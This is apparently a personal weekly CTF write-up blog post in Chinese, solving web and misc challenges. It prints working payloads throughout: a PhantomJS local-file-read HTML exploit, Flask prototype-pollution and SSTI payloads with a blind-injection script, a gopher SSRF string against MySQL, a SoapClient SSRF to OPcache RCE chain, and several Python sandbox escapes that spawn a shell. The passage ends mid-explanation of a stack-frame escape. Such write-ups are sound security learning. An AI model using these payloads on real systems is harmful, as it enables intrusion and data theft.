LOADING

加载过慢请开启缓存 浏览器默认开启

ZiAzusa#2024W3 依然是这周做的一些题~

2024/11/24 周报 CTF WriteUp
字数统计: 8.1k字 阅读时长: 约42分 本文阅读量:

Web

BUUCTF: [FireshellCTF2020]ScreenShoot

alt text

打开题目发现是一个网页截图网站,尝试使用file://协议读/etc/passwd,发现失败了。

猜测其是利用后端的无头浏览器截图,在本地开个http服务看看后端服务是什么:

alt text

可以看到用的是PhantomJS,查找资料了解到PhantomJS在小于等于2.1.1版本是存在任意文件读漏洞的:CVE-2019-17221

还是利用file协议,不过需要写一个HTML exp:

<!DOCTYPE html>
<html>
<head></head>
<body>
    <script>
        const xhr = new XMLHttpRequest;
        xhr.onload = function() {
            document.write(this.responseText);
        }
        xhr.open("GET", "file:///flag");
        xhr.send();
    </script>
</body>
</html>

然后截图即可得到flag:

alt text

BUUCTF: [SUCTF 2018]annonymous

题目:

<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

阅读代码可知这道题是要想办法访问到$MY这个匿名函数,而查阅资料了解到PHP的匿名函数也是有名字的,名字为 \x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数,所以爆破即可找到flag。

总结

通过这道题学习到了PHP的匿名函数的命名特点。

CTFShow: [_DSBCTF_单身杯]ez_inject

打开题目先注册个账号,登陆后在/chat路由可以找到hint:

alt text

显然就是要通过Python原型链污染来污染secret key了。

注销后在注册页面就可以用以下Payload污染:

{
    "username": "admin",
    "password": "admin",
    "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "admin"}}}}
}

之后使用admin登录,并修改session:

python main.py decode -c "eyJlY2hvX21lc3NhZ2UiOiJfX2luaXRfXyIsImlzX2FkbWluIjowLCJ1c2VybmFtZSI6ImFkbWluIn0.ZzndSw.GImHD3im17iaxCmGy-7kugPnlBY" -s "admin"
# {'echo_message': '__init__', 'is_admin': 0, 'username': 'admin'}
python main.py encode -t "{'echo_message': '__init__', 'is_admin': 1, 'username': 'admin'}" -s "admin"
# eyJlY2hvX21lc3NhZ2UiOiJfX2luaXRfXyIsImlzX2FkbWluIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZzndvQ.zdbt-buoIJjXw5GzsGKqQ-FFfDU

修改后可以在/secret路由找到新的hint:

alt text

提示可以在/echo进行SSTI注入。

发现进行了一些简单的waf,使用字符串拼接绕过,最后的Payload如下:

config['__in'+'it__']['__glo'+'bals__']['__bui'+'ltins__'].__import__('bui'+'ltins').open('/fl'+'ag').read()

关于官方wp

官方wp中这道题使用了SSTI盲注解决,虽然本题没那么复杂,但是借此积累一下盲注的脚本:

import requests
import concurrent.futures

url = "http://uuid.challenge.ctf.show/echo"
strings = "qwertyuiopasdfghjklzxcvbnm{}-12334567890"
target = ""

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "cookie":"user=session"
}

def check_character(i, j, string):
    payload = '''
    cycler["__in"+"it__"]["__glo"+"bals__"]
    ["__bui"+"ltins__"].__import__('builtins').open('/flag').read({})[{}]=='{}'
    '''.format(j + 1, j, string)
    data = {"message": payload}
    r = requests.post(url=url, data=data, headers=headers)
    return string if r.status_code == 200 and "your answer is True" in r.text else None

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for i in range(50):
        futures = []
        for j in range(50):
            for string in strings:
                futures.append(executor.submit(check_character, i, j, string))

        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                print(result)
                target += result
                if result == "}":
                    print(target)
                    exit()

总结

通过这道题学习到了可以利用Python原型链污染的方式修改flask的secret key,同时学习到了SSTI盲注的手法。

BUUCTF: [DASCTF X GFCTF 2024|四月开启第一局]cool_index

下载附件后可以发现关键代码位于server.js:

...
const JWT_SECRET = crypto.randomBytes(64).toString("hex");
const articles = [
    ...
    {
        line1: "欢迎参加 DASCTF x GFCTF 2024!",
        line2: FLAG,
    },
];
app.get("/", (req, res) => {
...
});
...
app.post("/register", (req, res) => {
    const { username, voucher } = req.body;
    if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
        const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
        if (voucher && subscription === "guest") {
            return res.status(400).json({ message: "邀请码无效" });
        }
        const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
            expiresIn: "1d",
        });
        res.cookie("token", userToken, { httpOnly: true });
        return res.json({ message: "注册成功", subscription });
    }

    return res.status(400).json({ message: "用户名或邀请码无效" });
});
app.post("/article", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            let index = req.body.index;
            if (req.body.index < 0) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }
            if (decoded.subscription !== "premium" && index >= 7) {
                return res
                    .status(403)
                    .json({ message: "订阅高级会员以解锁" });
            }
            index = parseInt(index);
            if (Number.isNaN(index) || index > articles.length - 1) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }

            return res.json(articles[index]);
        } catch (error) {
            res.clearCookie("token");
            return res.status(403).json({ message: "重新登录罢" });
        }
    } else {
        return res.status(403).json({ message: "未登录" });
    }
});
...

本题只有高级会员才能读到第7个及以后的文章,也就是flag。

看到这道题就打算去爆破jwt的secret key,但是显然64bytes的key不是一时半会能爆破出来的。

继续阅读代码可以找到 index = parseInt(index);,这就可以利用了:

当传入的字符串包含不是数字的部分,如 "7a",那么:

console.log("7a" >= 7); // false
console.log(parseInt("7a")); // 7

就可以读到flag了。

总结

通过这道题意识到了不要看到jwt就想要获得secret key,有时这个key是很难获得的,这时候需要多观察代码,寻找其他的漏洞加以利用。

BUUCTF: [DASCTF X GFCTF 2024|四月开启第一局]EasySignin

alt text

是个登录页面,先注册个账号登录进去,但是不能调用查看图片的接口。

但是可以找到修改密码的页面:

alt text

可以发现,只要修改username为admin,应该就可以修改admin的密码了。

然后成功修改密码,登录admin,并且可以查看图片了。

alt text

尝试使用file协议和php协议读文件,发现都被ban了,连/etc/passwd都读不了。

进而考虑打SSRF,读http://127.0.0.1。

但到这里就没有思路了,查看了WP后才知道这道题开了个MySQL服务在3306端口,可以打gopher协议。

使用Gopherus生成payload即可(注意payload需要经过二次urlencode):

alt text

接下来访问 view-source:http://a77baf64-c210-4184-81d7-ed09d473bcc5.node5.buuoj.cn:81/getpicture.php?url=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%251b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%256c%256f%2561%2564%255f%2566%2569%256c%2565%2528%2527%252f%2566%256c%2561%2567%2527%2529%253b%2501%2500%2500%2500%2501,Base64解码即可得到flag。

总结

通过这道题积累到了可能通过SSRF打gopher协议访问数据库服务获取flag。

BUUCTF: [DASCTF X 0psu3十一月挑战赛|越艰巨·越狂热]simgle_php

打开页面,提示需要GET传入一个LuckyE,然后会执行传入的函数名,参数是当前文件。

alt text

highlight_file看看源码:

alt text

可以发现就是一个简单的反序列化,需要给siroba->koi赋值一个数组,然后它会将zhanjiangdiyishenqing键对应的值当作函数执行。

之后还发现这个页面的title提示查看siranai.php:

alt text

显然index.php的反序列化就是为了调用Soap类打SSRF来访问这个页面了。

而这个页面会将POST的tar压缩包解压到/tmp目录。

不难联想到国赛那道unzip题目,用软链接把一句话木马存到/var/www/html。

但是经过提示这道题的/var/www/html是只读的,不能写文件,需要另寻他路。

然后就卡在这里了,最后看了WP才知道是要利用OPCACHE功能的缓存。

参考:DASCTF X 0psu3 Web WriteupPHP8 OPCACHE缓存文件导致RCE

所以需要在本地开一个带OPCACHE的PHP,然后生成一句话木马的缓存,修改system_id和时间戳后压缩上传就行了。

PHP8计算system_id的脚本是:

<?php
var_dump(md5("[PHP版本号][Zend Extension Build(可以在phpinfo()获得)],NTSBIN_4888(size_t)8\002"));
?>

所以本题的system_id的计算脚本就是:

<?php
var_dump(md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002"));
?>

最后的payload为:

<?php
class siroha {
    public $koi;
}
$postdata = "--0f9486e921f5468f9ab50745c4c93267\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exp.tar\"\r\nContent-Type: application/x-tar\r\n\r\n【修改后的一句话木马文件的压缩包的二进制数据】\r\n--0f9486e921f5468f9ab50745c4c93267--\r\n";
$a = new SoapClient(null, ['location' => "http://127.0.0.1/siranai.php", 'user_agent' => "Enterpr1se\r\n" . "Cookie: PHPSESSION=16aaab9fb\r\nContent-Type: multipart/form-data; boundary=".substr($postdata,2,32)."\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416"."\r\n\r\n".$postdata, 'uri' => "http://127.0.0.1/siranai.php"]);
$b = new siroha();
$b->koi = ["zhanjiangdiyishenqing" => [$a, "nnnnn"]];
echo urlencode(serialize($b));
?>

总结

通过这道题积累到了当文件会上传并覆盖tmp目录下的文件时,可以考虑覆盖OPCACHE的缓存文件来达到RCE的目的。

Misc

BUUCTF: [NewStarCTF 2023 公开赛道]键盘侠

下载附件,根据题目提示是键盘流量分析:

alt text

过滤 usb.src == "1.15.1" 的流量,并另存为一个新的pcapng文件。

使用 tshark -r keyboard.pcapng -T fields -e usb.capdata > 1.txt 导出capdata。

alt text

使用以下脚本即可提取出键盘输入的内容:

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": " ", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": " ", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
nums = []
keys = open('1.txt')  # 你的文本文件
for line in keys:
    if len(line) != 17:  # 首先过滤掉鼠标等其他设备的USB流量
        continue
    nums.append(line[0:2] + line[4:6])  # 取一、三字节
keys.close()
output = ""
for n in nums:
    if n[2:4] == "00":
        continue
    if n[2:4] in normalKeys:
        if n[0:2] == "02":  # 表示按下了shift
            if shiftKeys[n[2:4]] == "<DEL>":
                output = output[:-1]
            else:
                output += shiftKeys[n[2:4]]
        else:
            if normalKeys[n[2:4]] == "<DEL>":
                output = output[:-1]
            else:
                output += normalKeys[n[2:4]]
    else:
        output += '[unknown]'
print('output :' + output)
# output :w3lc0m3 to newstar ctf 2023 flag is here vvvvbaaaasffjjwwwwrrissgggjjaaasdddduuwwwwwwwwiiihhddddddgggjjjjjaa1112333888888<ESC><ESC>2hhxgbffffbbbnna     <CAP><CAP>flag{9919aeb2-a450-2f5f-7bfc[unknown][unknown][unknown]-89df4bfa8584}]    nice work!1yyoou ggot tthhis fllag

总结

通过这道题学习到了对键盘流量的分析。

BUUCTF: [DASCTF Oct X 吉林工师 欢迎来到魔法世界~]giveyourflag

下载附件,用7-zip打开发现是一堆的压缩包嵌套。

编写以下脚本即可解压:

import os, shutil

filename = "flag1"

if os.path.exists("./opt"):
    shutil.rmtree("./opt")
os.mkdir("./opt")
i = 0
while True:
    os.mkdir("./opt/opt"+str(i))
    res = os.popen("7z x "+filename+" -o./opt/opt"+str(i)).read()
    if "Can't open as archive" in res:
        break
    filename = "./opt/opt"+str(i)+"/"+os.listdir("./opt/opt"+str(i))[0]
    print("Filename: "+filename)
    if i >= 1:
        shutil.rmtree("./opt/opt"+str(i-1))
    i += 1

解压后打开进行Base64解密,再进行凯撒密码(key=3)解密,即可得到flag。

总结

通过这道题积累了解压嵌套压缩包的脚本。

NSSCTF: [HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)

前置题目的WP

题目:

#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

阅读代码可知,相较于lake lake lake,这道题对于长度的限制更严格了,不能超过6个字符,然后依然是通过读admin key进backdoorRCE。

查阅资料了解到,help(__main__) 可以得到当前模块下的变量值。

所以payload如下:

func:     help()
>         __main__ # 在这里得到了key值为95c720690c2c83f0982ffba63ff87338
backdoor: __import__('os').system('cat flag')

总结

通过这道题了解到了也可以通过 help(__main__) 获取当前模块下的变量值。

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)

题目:

#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval_func(input_data)))

阅读代码可知这题不能输入字符串,还把chr扬了,那么还有bytes可以用来构造字符串。

简单搓了个脚本:

while True:
    string = input("Enter a string: ")
    if not string:
        break
    new_string = "bytes(["
    for i in string:
        new_string += str(ord(i)) + ","
    new_string = new_string[:-1] + "]).decode()"
    print(new_string)

首先获取Object基类的子类:

().__class__.__base__.__subclasses__()

执行后可以找到 os._wrap_close 的位置是-4。

找到os即可get shell:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

绕过:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

然后 cat ./flag 即可。

总结

通过这道题学习到了在chr也不能用的情况下可以使用bytes绕过。

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

这题没有附件,直接连上看看:

alt text

虽然又过滤了一堆,但上题的payload依然可用。

alt text

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)

这题终于是把bytes也扬了。

alt text

但是str还能用,所以考虑把需要的命令拼出来。

先找一个可能包含所有26个字母的东西,比如说Object基类的子类列表,然后把它转成字符串:

str(().__class__.__base__.__subclasses__())

然后写个脚本在得到的一堆东西里面找字母就行了:

lib = """[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]"""

while True:
    string = input("Enter a string: ")
    if not string:
        break
    new_string = ""
    for i in string:
        for j in lib:
            if i == j:
                new_string += "str(().__class__.__base__.__subclasses__())["+str(lib.index(j))+"]+"
                break
    print(new_string[:-1])

在这一步已经可以找到 os._wrap_close 的位置是-4。

找到os即可get shell:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

绕过:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str(().__class__.__base__.__subclasses__())[5]+str(().__class__.__base__.__subclasses__())[10]+str(().__class__.__base__.__subclasses__())[5]+str(().__class__.__base__.__subclasses__())[9]+str(().__class__.__base__.__subclasses__())[12]+str(().__class__.__base__.__subclasses__())[181]](str(().__class__.__base__.__subclasses__())[5]+str(().__class__.__base__.__subclasses__())[184])

然后 ls 发现flag名称为 flag_y0u_CaNt_FiNd_mE,cat即可。

总结

通过这道题积累到了可以将Object基类的子类列表转换为字符串,然后在里面找需要的字符的方法。

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)

这题把加号都ban了,考虑使用 str() 得到空字符串后使用 join() 方法拼接列表来得到所需的字符串。

alt text

get shell的绕过payload为:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([str(().__class__.__base__.__subclasses__())[5],str(().__class__.__base__.__subclasses__())[10],str(().__class__.__base__.__subclasses__())[5],str(().__class__.__base__.__subclasses__())[9],str(().__class__.__base__.__subclasses__())[12],str(().__class__.__base__.__subclasses__())[181]])](str().join([str(().__class__.__base__.__subclasses__())[5],str(().__class__.__base__.__subclasses__())[184]]))

总结

通过这道题积累到了当加号被ban的时候,可以用join方法拼接列表来达成拼接字符串的目的。

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)

alt text

上题payload依然可用,不多赘述。

alt text

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)

alt text

根据提示先看dir():

> dir()
# dir['__builtins__', 'my_flag']

看到个my_flag,继续dir列出它里面的东西:

> dir(my_flag)
# ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']

继续dir:

> dir(my_flag.flag_level5)
# ['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

看起来像是个字符串,但是直接打印会报出来个DELETED:

> print(my_flag.flag_level5)
# DELETED

之后尝试对字符串进行处理再打印就能得到flag了:

> print(my_flag.flag_level5.split())
# ['flag=NSSCTF{665d49cf-957a-4582-9ea9-67dfeb46594b}']

猜测其重写了字符串的__str__属性。

非预期解

本题依然可以直接用os.system get shell,可以读出来flag和本题处理flag的源码:

class secert_flag(str):
    def __repr__(self) -> str:
        return "DELETED"
    def __str__(self) -> str:
        return "DELETED"

class flag_level5:
    def __init__(self, flag: str):
        setattr(self, 'flag_level5', secert_flag(flag))

def get_flag():
    with open('flag') as f:
        return flag_level5(f.read())

和猜测的一致,的确是重写了__str__。

总结

通过这道题了解到了可以通过dir()获取对象的属性和方法,同时也了解到了属性和方法可以被重写。

NSSCTF: [HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)

这题和上题找flag位置的过程一致,但是把print扬了。

直接 my_flag.flag_level5.split() 即可得到flag。

NSSCTF: [HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)

题目:

#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

阅读代码可知需要使得 input_data==随机数 才能得到flag,但这显然不可能。

而这题使用了eval获取input_data,但是eval的locals和globals都置空了。

这里考虑使用栈帧逃逸直接获得right_guesser_question_answer的值。

什么是栈帧?

参考 什么是栈帧利用生成器栈帧逃逸 Pyjail | CISCN 2024 mossfern 题解 可以了解到:

每一次函数的调用,都会在调用栈(call stack)上维护一个独立的栈帧(stack frame)。每个独立的栈帧一般包括:

  1. 函数的返回地址和参数
  2. 临时变量: 包括函数的非静态局部变量以及编译器自动生成的其他临时变量
  3. 函数调用的上下文

而在Python中,可以通过 _getframe 这个方法拿到函数的栈帧,看看栈帧里面有什么:

dir(__import__("sys")._getframe())
"""
['__class__',
 ...
 'f_back',
 'f_builtins',
 'f_code',
 'f_globals',
 'f_lasti',
 'f_lineno',
 'f_locals',
 'f_trace',
 'f_trace_lines',
 'f_trace_opcodes']

除了Object共有的属性之外,有一些f_开头的属性是栈帧对象独有的。以下这些是对我们有用的:

